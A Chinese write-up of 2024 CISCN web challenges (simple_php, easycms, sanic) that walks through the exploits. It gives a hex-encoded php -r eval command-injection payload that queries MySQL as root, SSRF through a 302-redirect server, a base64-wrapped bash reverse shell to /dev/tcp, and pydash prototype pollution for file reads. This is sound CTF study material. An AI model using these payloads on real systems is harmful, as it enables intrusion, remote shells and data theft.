2024 ciscn 华北赛区初赛试题复现
2024CISCN web方向题目复现与知识点梳理
1.simple_php
非常狗的一道题
先看源码:
1 |
|
通过post方式传入cmd参数与题目环境交互。
传入的cmd被套了一层escapeshellcmd函数后赋值给cmd,接着进行一个黑名单过滤。非常全面的一个黑名单…几乎把所有能用的都过滤掉了。最后执行cmd的命令。
很简单的代码逻辑,难处在于如何绕过这两次过滤。
先来看第一层过滤:escapeshellcmd
1 | escapeshellcmd(string $command): string |
传入一个字符串参数,返回一个字符串参数。这是一个php自带的防止命令注入的函数,php文档对其的解释如下:
“反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。”
这也就导致这题难以通过特殊符号相关的方法来绕过黑名单,比如亦或的无符号rce等待。
下面的正则匹配就比较简单了。就是屏蔽了一些关键字。目前笔者发现还能用的命令有: man,diff,php,rev,paste,dd if=
其中除了php以外都只能读取文件,diff命令比较好用的一点-r是他可以比较子目录中的文件。不过比较一番也没有找到。只能试着用php命令去连接数据可试试了。这里给出php命令的解释和使用方式。
>-r 执行代码,无需脚本标记
>-f 执行文件
个人感觉比较常用的以上两个选项。这里可以用php -r来执行代码。
测试php -r phpinfo();发现可以跑通
但是如果使用system执行系统命令,还是会被上面的黑名单过滤,(甚至连引号都过滤掉了)因此使用hex2bin函数来进行绕过。hex2bin可以把输入的十六进制ascii码转换为字符串。这里先给出payload再做解释
1 | php -r eval(hex2bin(substr(_hex,1))); |
eval就不做解释了。这里主要解释为什么hex2bin里面要套一个substr。substr()函数输入三个参数:string,start,length。分别是待处理的字符串,开始位置,截取长度。第三个参数可以缺省,即输出从开始位置到结束的所有字符串。
这里调用这个函数的主要目的是:在没有但双引号的情况下,构造字符串。因为hex2bin的输入要求是引号包裹的字符串,但这里把引号ban了,就要用到substr了。substr允许输入没有引号包裹的字符串,并且输出一个字符串。这也就是说我们可以借用substr来实现无引号字符串的构建。测试一下whoami,发现正常回显,呢么接下来就是无聊的查库时间了。
这个地方没啥技术含量,直接给出最终payload:
1 | cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1))); |
easycms
这个题真是必须要看到hint才知道怎么做,hint提示flag.php的代码:
1 | if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
这个地方 REMOTE_ADDR 是没办法通过文件头伪造的。那就只能试一试ssrf了。
这道题ssrf的思路是这样:通过一个借口来访问一个恶意服务器,恶意服务器302将请求跳转到访问者本地的flag.php来通过 REMOTE_ADDR 的检测。
github上找一下源码,审计一下(其实这里有已经纰漏的漏洞,但是当时没找到,只能审了)搜了一下ssrf出发漏洞的常见函数,里面有一个file_get_contents()。找一下这个函数参数可控的地方。找到了如下代码:
继续寻找这个函数参数可控的地方:
这个地方的url是get方法传入的,很有戏。继续找,最终找到了这个地方:
1 | function dr_qrcode($text, $thumb = '', $level = 'H', $size = 5) { |
那么理论上讲访问这个url,控制下thumb的值就可以访问到咱们的恶意服务器了。在服务器上部署一个302跳转站,代码如下:
1 | from flask import Flask,redirect,request,send_file |
不熟之后本地访问一下,跳转到flag.php就说明已经成功部署了。这也就不难理解为什么这个服务可以通过flag.php的检测了。由于没有回显,需要弹一下shell。
这里用到弹shell的姿势如下:
quote(“bash -c ‘{echo,base64_str}|{base64,-d}|{bash,-i}’”)
其中,base64_str加密的内容如下:
bash -i >& /dev/tcp/ip/port 0>&1
接着按照上面的url访问/index.php?s=api&c=api&m=qrcode&thumb=http://vps:port&&text=foo&size=1&level=1即可
sanic
1 | from sanic import Sanic |
第一个问题比较好解决,翻阅github中sanic的源码可以发现,在处理cookie部分,sanic会将cookie中的八进制进行解码,根据这一特性,将cookie赋值为
1 | user=adm\073n |
即可
下一个问题是python原型链污染的问题,这里准确的说是一个pydash的原型链污染问题。源代码中的
1 | pydash.set_(pollute, key, value) |
存在原型链污染的风险。这里直接对key传入__class__.__init__.__globals__.__file__就可以操控代码中的file变量实现任意文件读取。
但是在源代码中过滤了._,这里需要做一下绕过。跟进一下相应版本的pydash源码,会发现可以通过\\.来当作.使用,这样就可以做到任意文件读取。
至此的难度都还在笔者的预料之内,但是由于不知道flag文件名称,还要通过挖掘pydash源码中的链子来进行列目录。这里直接放一个gxn师傅的博客,就不再详细写了,太难了qaq